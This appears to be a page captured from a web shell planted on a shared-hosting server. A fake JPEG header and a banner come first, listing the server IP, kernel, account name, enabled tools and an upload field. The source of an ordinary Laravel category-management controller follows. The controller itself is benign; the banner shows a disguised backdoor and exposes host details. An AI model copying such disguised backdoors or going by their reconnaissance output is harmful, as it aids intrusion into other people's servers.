����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.146.206.0 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/cbt.bofirm.com/app/Http/Controllers/Admin/ |
Upload File : |
<?php /** * File name: CategoryCrudController.php * Last modified: 19/07/21, 12:55 AM * Author: NearCraft - https://codecanyon.net/user/nearcraft * Copyright (c) 2021 */ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Filters\CategoryFilters; use App\Http\Requests\Admin\StoreCategoryRequest; use App\Http\Requests\Admin\UpdateCategoryRequest; use App\Models\Category; use App\Transformers\Admin\CategoryTransformer; use Inertia\Inertia; class CategoryCrudController extends Controller { public function __construct() { $this->middleware(['role:admin']); } /** * List all categories * * @param CategoryFilters $filters * @return \Inertia\Response */ public function index(CategoryFilters $filters) { return Inertia::render('Admin/Categories', [ 'categories' => function () use ($filters) { return fractal(Category::filter($filters) ->paginate(request()->perPage != null ? request()->perPage : 10), new CategoryTransformer())->toArray(); }, ]); } /** * Store a category * * @param StoreCategoryRequest $request * @return \Illuminate\Http\RedirectResponse */ public function store(StoreCategoryRequest $request) { Category::create($request->validated()); return redirect()->back()->with('successMessage', 'Category was successfully added!'); } /** * Show a category * * @param $id * @return array */ public function show($id) { return fractal(Category::findOrFail($id), new CategoryTransformer())->toArray(); } /** * Edit a category * * @param $id * @return Category|Category[]|\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|null */ public function edit($id) { return Category::find($id); } /** * Update a category * * @param UpdateCategoryRequest $request * @param $id * @return \Illuminate\Http\RedirectResponse */ public function update(UpdateCategoryRequest $request, $id) { $category = Category::find($id); $category->update($request->validated()); return redirect()->back()->with('successMessage', 'Category was successfully updated!'); } /** * Delete a category * * @param $id * @return \Illuminate\Http\RedirectResponse */ public function destroy($id) { try { $category = Category::withCount(['subCategories', 'plans'])->find($id); if(!$category->canSecureDelete('subCategories', 'plans')) { $associations = implode(", ", array_filter([ $category->sub_categories_count > 0 ? "{$category->sub_categories_count} sub categories" : "", $category->plans_count > 0 ? "{$category->plans_count} plans" : "" ])); return redirect()->back() ->with('errorMessage', "Unable to delete category as it is associated with {$associations}. Remove all associations and try again!" ); } $category->secureDelete('subCategories', 'plans'); } catch (\Illuminate\Database\QueryException $e) { return redirect()->back() ->with('errorMessage', 'Unable to Delete Category . Remove all associations and Try again!'); } return redirect()->back() ->with('successMessage', 'Category was successfully deleted!'); } }